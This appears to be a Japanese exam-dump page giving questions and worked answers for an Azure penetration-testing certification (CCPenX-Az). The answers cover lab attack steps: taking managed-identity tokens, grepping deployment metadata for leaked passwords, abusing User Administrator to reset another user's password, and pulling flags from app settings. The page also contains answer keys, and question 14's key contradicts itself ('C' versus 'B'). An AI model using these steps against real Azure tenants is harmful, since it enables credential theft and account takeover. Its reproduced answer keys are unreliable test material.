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| Section | Objectives |
|---|---|
| Topic 1: Azure Cloud Attack Surface & Reconnaissance | - Azure environment enumeration and asset discovery - Identity and tenant reconnaissance (Entra ID) |
| Topic 2: Cloud Attack Chains & Real-World Scenarios | - Flag-based CTF-style objective completion - Multi-stage exploitation paths in Azure environments |
| Topic 3: Azure Active Directory (Entra ID) Attacks | - Misconfiguration exploitation in identity services - Privilege escalation in Entra ID |
| Topic 4: Azure Infrastructure Exploitation | - Network security group and virtual network abuse - Virtual machine compromise and lateral movement |
| Topic 5: Azure Storage & Data Exfiltration | - Sensitive data discovery and extraction - Blob storage misconfiguration exploitation |
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質問 # 11
A storage account allows public blob access. Enumerate containers and identify the public container that exposes backup files.
正解：
解説：
See the Answer in Explanation below.
Explanation:
public-backups
Detailed Solution:
Try listing containers using Azure CLI:
az storage container list \
--account-name prodreportstore01 \
--auth-mode login \
--output table
If anonymous access is allowed, test via blob endpoint:
az storage blob list \
--account-name prodreportstore01 \
--container-name public-backups \
--auth-mode key \
--output table
In a lab, you can also test the public URL pattern:
https://prodreportstore01.blob.core.windows.net/public-backups/
Expected exposed container:
public-backups
Final answer:
public-backups
質問 # 12
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
正解：
解説：
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
sumit.siddharth@azuresecops.onmicrosoft.com
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
質問 # 13
You've discovered that the compromised user holds directory-level privileges. Enumerate how this role can be abused to compromise another user in the directory. What is the Job Title attribute of the compromised target user?
正解：
解説：
See the Answer in Explanation below.
Explanation:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Detailed Solution:
As the second compromised user, enumerate directory users:
az ad user list --output table
Use a cleaner query to show names, UPNs, and job titles:
az ad user list \
--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \
--output table
You should identify a target user whose profile contains a flag in the jobTitle attribute.
The important target is:
lila.nguyen@azuresecops.onmicrosoft.com
Her jobTitle field contains:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Because the compromised user has User Administrator, you can reset this target user's password and later authenticate as her.
Final answer:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
質問 # 14
The compromised service principal has Contributor access to a resource group but no direct Key Vault data- plane role. Can it immediately read Key Vault secret values?
正解：C
解説：
Detailed Solution:
Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.
Test secret read:
az keyvault secret show \
--vault-name kv-finance-prod \
--name db-password \
--query value \
--output tsv
Expected failure:
Forbidden
Correct answer:
B). No, Contributor does not automatically grant Key Vault secret data-plane read Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.
質問 # 15
During App Service enumeration, you discover that the compromised user can read App Service application settings. Find the hidden flag stored in the application settings.
正解：
解説：
See the Answer in Explanation below.
Explanation:
Flag{app_settings_should_not_store_secrets}
Detailed Solution:
Query App Service settings:
az webapp config appsettings list \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--output json
Search for suspicious keys:
az webapp config appsettings list \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \
--output table
Expected output:
Name SlotSetting Value
---------- ------------- ----------------------------------------
APP_FLAG False Flag{app_settings_should_not_store_secrets}
The flag is:
Flag{app_settings_should_not_store_secrets}
質問 # 16
......
あらゆる種類の問題に取り組まれる可能性があります。時には、何かを下に置いて他の問題に対処する必要があります。後者はより緊急であり、すぐに実行する必要があります。 CCPenX-Azトレーニングガイドの助けを借りて、あなたの夢がもう遅れることはありません。なぜなら、私たちはクライアントがよりゆっくりと勉強するのを支援するインテリジェントなアプリケーションと高効率のメリットを持っているからです。 CCPenX-Azの実際の試験で20〜30時間準備する場合、CCPenX-Az試験はあなたの前で簡単になります。
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